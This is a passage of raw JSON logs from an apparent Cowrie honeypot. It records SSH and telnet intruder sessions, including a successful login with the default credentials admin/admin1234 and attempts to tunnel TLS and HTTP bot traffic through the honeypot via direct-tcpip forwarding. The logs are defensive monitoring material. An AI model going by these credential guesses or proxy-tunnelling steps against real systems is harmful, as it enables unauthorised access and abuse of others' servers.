\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1d\\x01E\\x9e\\r\\xa4\\xf1\\xe6<g\\xfbw[\\xdbZ7\\xeeR?\\x16kX\\xd1\\x95\\x14\\x8df\\x9b\\t\\xf1\\xffe\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x04\\x12\\xc1\\x07\\xb7\\xc3d\\xe5B\\r\\x05\\x07\\x02a\\xc5\\xa5\\x9d\\n\\xb3\\x82S\\x0eW\\x01\\xe8\\xcc[U\\x8f\\x8e\\xfby \\xfc\\xf4\\xb6*w2\\x92\\x97\\x90\\x94\\x93\\x8e\\xff\\xf8\\xbe\\xd1\\x12\\xa3~s\\xc7\\xd8\\xda\\n\\xd1\\xa4\\x88\\xf8\"\\x90\\xf2\\x96\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1d\\x01E\\x9e\\r\\xa4\\xf1\\xe6<g\\xfbw[\\xdbZ7\\xeeR?\\x16kX\\xd1\\x95\\x14\\x8df\\x9b\\t\\xf1\\xffe\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:40.605001Z","src_ip":"38.46.222.137","session":"6a52fa318930","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:40.663522Z","session":"6a52fa318930","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:40.715652Z","src_ip":"38.46.222.137","session":"6a52fa318930","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03iS*\\xd6\\x90f\\x16GO\\x83\\xf5Kc\\x7f\\xa7\\x94\\xf2\\x83\\xd5\\xb4#/a\\xa7f!\\x95j\\xe5\\x1en\\xf0 #?\\xaeWju\\x8d\\xc67D9\\xee\\xf6\\x8c\\xcae\\x01e\\x91\\xb1\\xc2\\x7fH3\\x8f\\xf7z(\\xb5\\xd6/\\x9f\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\x10|\\x89\\x89\\x98\\xcd x\\xb4\\xecB\\x14{5\\x8f\\x0c\\xcb\\xa3\\x18\\x98wc\\xee\\x17-\\x8f\\x96\\x1c\\xd3\\xb2\\x10$\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03iS*\\xd6\\x90f\\x16GO\\x83\\xf5Kc\\x7f\\xa7\\x94\\xf2\\x83\\xd5\\xb4#/a\\xa7f!\\x95j\\xe5\\x1en\\xf0 #?\\xaeWju\\x8d\\xc67D9\\xee\\xf6\\x8c\\xcae\\x01e\\x91\\xb1\\xc2\\x7fH3\\x8f\\xf7z(\\xb5\\xd6/\\x9f\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\x10|\\x89\\x89\\x98\\xcd x\\xb4\\xecB\\x14{5\\x8f\\x0c\\xcb\\xa3\\x18\\x98wc\\xee\\x17-\\x8f\\x96\\x1c\\xd3\\xb2\\x10$\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:40.722035Z","src_ip":"38.46.222.137","session":"6a52fa318930","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.3","message":"Connection lost after 11.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:44.756493Z","src_ip":"38.46.222.137","session":"6a52fa318930","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":44910,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dbd599b49d1","protocol":"telnet","message":"New connection: 94.23.66.112:44910 (10.17.0.5:23) [session: 6dbd599b49d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:45.839406Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":51758,"dst_ip":"10.17.0.5","dst_port":22,"session":"42c65178bae0","protocol":"ssh","message":"New connection: 173.208.188.210:51758 (10.17.0.5:22) [session: 42c65178bae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:48.464671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:48.469797Z","src_ip":"173.208.188.210","session":"42c65178bae0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:48.862842Z","src_ip":"173.208.188.210","session":"42c65178bae0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:51.356698Z","src_ip":"173.208.188.210","session":"42c65178bae0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:59.816288Z","session":"42c65178bae0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:59.821457Z","session":"42c65178bae0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:59.856909Z","src_ip":"173.208.188.210","session":"42c65178bae0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1200\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.1.1; SM-T560N Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=UkRhaHZ%2BS3g2ME9Bans4cQ%3D%3D0ZRwSwu%2F6IHH6tGta47jAC5cXMVTaOu9xwlke0jsKLBp89FhSugXDH9s2ZSjdn7fWrADqEfzTSIp%2FSenBTHxFG1MqLz63DjG93OTyon8K92W1KFyyZFjU0XNx1VSu6Wsx2rq9CpWDGxs77WBwg3%2Bd2bD0j%2F3DDk%2BgUXX74j8bGmlZehNVlxwgcJ7S1XfaO9JzfX0PvsSECS8I2KZIq27MKA5lgHstk3txYj9YEs%2BVlnfDf0bawngrY7W3ZYmp3xAlR%2B%2FpcmHqNwqm7lzxYk%2FSeGzm%2B4gm0ZKD6UtAiXsaeFYaA5sFBd4m9fniHNRo7AFfr%2FPcWvXwRQLi5K4jg%2BOJlH8yAWgE0XjdsczALrTZwDYuS5%2BxuPmCn%2FONlnbtpxzAml4fYlql3mkibe0DhYC9mc4d5Y%2F81waEnIWMUEljBxg6QtrO1NAW7kgFh5D6RnWDyb%2FRuDfiDeldX%2FExVwrMvLmcN89aGEGrzGmppszc5IGouPCaKysdjdVnyDPlCNdCVV1Tz2zDUBcTZcGmA0S%2BiL%2B52hIUcUpODq2HEaMh9zyloGxzSHHCquycA5zVAZOotPqooU6Oal5JLcPUhNrOB%2FzK2M9XUfvmufN%2F335SEDtX1EbZeRAWu3w7WbdBDEVv2GoFNXKeTYe%2FxuSjHQAIP6YL%2B34WYuxKaFfm5Abebp893qoCOyfxiV5cDQQ67hn23Ay6V1aSHqiUEKDEli7iiawKIG54MCyfVpIgHJg3%2BfNeEHzlt%2BrSPwn96w3CRow%2By7H4DMBWAz4RRPubu3NAOeVgoN75UgYHJ4pKyubipIbsnbdhbq9AdKua%2F3nWBiPTQ%2BPdgO6F%2F6Q3brStCLwTSBnJhPD3YDr%2BQakWYuPCAywtPazvrh0YbrysKbgaxzejpYHPd7V6TVwcEW4YB6cV%2FBRYv%2FzTEsd3WRECc5DGNE0%2BZk3Jqi5K59eXx0eUd3xfNiq704tuQ3ktKpHdg92YEmCWm8V6%2Fel%2BUfy0oAK%2B2pjIXi1BcXs2fnE%2F%2FeL0i6iCPdKLBCD6RokJIuHAVLrLiRegoj7bgy8Z5lVI1Q%2BDdOIPMB0MVqSlkSzKxWB%2BaBw'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1200\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.1.1; SM-T560N Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=UkRhaHZ%2BS3g2ME9Bans4cQ%3D%3D0ZRwSwu%2F6IHH6tGta47jAC5cXMVTaOu9xwlke0jsKLBp89FhSugXDH9s2ZSjdn7fWrADqEfzTSIp%2FSenBTHxFG1MqLz63DjG93OTyon8K92W1KFyyZFjU0XNx1VSu6Wsx2rq9CpWDGxs77WBwg3%2Bd2bD0j%2F3DDk%2BgUXX74j8bGmlZehNVlxwgcJ7S1XfaO9JzfX0PvsSECS8I2KZIq27MKA5lgHstk3txYj9YEs%2BVlnfDf0bawngrY7W3ZYmp3xAlR%2B%2FpcmHqNwqm7lzxYk%2FSeGzm%2B4gm0ZKD6UtAiXsaeFYaA5sFBd4m9fniHNRo7AFfr%2FPcWvXwRQLi5K4jg%2BOJlH8yAWgE0XjdsczALrTZwDYuS5%2BxuPmCn%2FONlnbtpxzAml4fYlql3mkibe0DhYC9mc4d5Y%2F81waEnIWMUEljBxg6QtrO1NAW7kgFh5D6RnWDyb%2FRuDfiDeldX%2FExVwrMvLmcN89aGEGrzGmppszc5IGouPCaKysdjdVnyDPlCNdCVV1Tz2zDUBcTZcGmA0S%2BiL%2B52hIUcUpODq2HEaMh9zyloGxzSHHCquycA5zVAZOotPqooU6Oal5JLcPUhNrOB%2FzK2M9XUfvmufN%2F335SEDtX1EbZeRAWu3w7WbdBDEVv2GoFNXKeTYe%2FxuSjHQAIP6YL%2B34WYuxKaFfm5Abebp893qoCOyfxiV5cDQQ67hn23Ay6V1aSHqiUEKDEli7iiawKIG54MCyfVpIgHJg3%2BfNeEHzlt%2BrSPwn96w3CRow%2By7H4DMBWAz4RRPubu3NAOeVgoN75UgYHJ4pKyubipIbsnbdhbq9AdKua%2F3nWBiPTQ%2BPdgO6F%2F6Q3brStCLwTSBnJhPD3YDr%2BQakWYuPCAywtPazvrh0YbrysKbgaxzejpYHPd7V6TVwcEW4YB6cV%2FBRYv%2FzTEsd3WRECc5DGNE0%2BZk3Jqi5K59eXx0eUd3xfNiq704tuQ3ktKpHdg92YEmCWm8V6%2Fel%2BUfy0oAK%2B2pjIXi1BcXs2fnE%2F%2FeL0i6iCPdKLBCD6RokJIuHAVLrLiRegoj7bgy8Z5lVI1Q%2BDdOIPMB0MVqSlkSzKxWB%2BaBw'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:59.860049Z","src_ip":"173.208.188.210","session":"42c65178bae0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:59.865164Z","src_ip":"173.208.188.210","session":"42c65178bae0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03,\\xaf\\x90\\x946\\xca\\x96h\\x12\\x0f\\x1aL\\x01\\x0f\\xcc\\xe2p\\x94\\xb7\\xd7\\x0f\\x10\\xe0\\xb7\\x829\\x00;]\"3n \\t~\\x96\\xc9q\\xb6\\xa0\\x87>\\x04\\xad\\'L\\xb7\\xd7\\x95|\\xe5~\\xder?\\xda/\\xd3Tu2NA\\x0b\\xd3\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 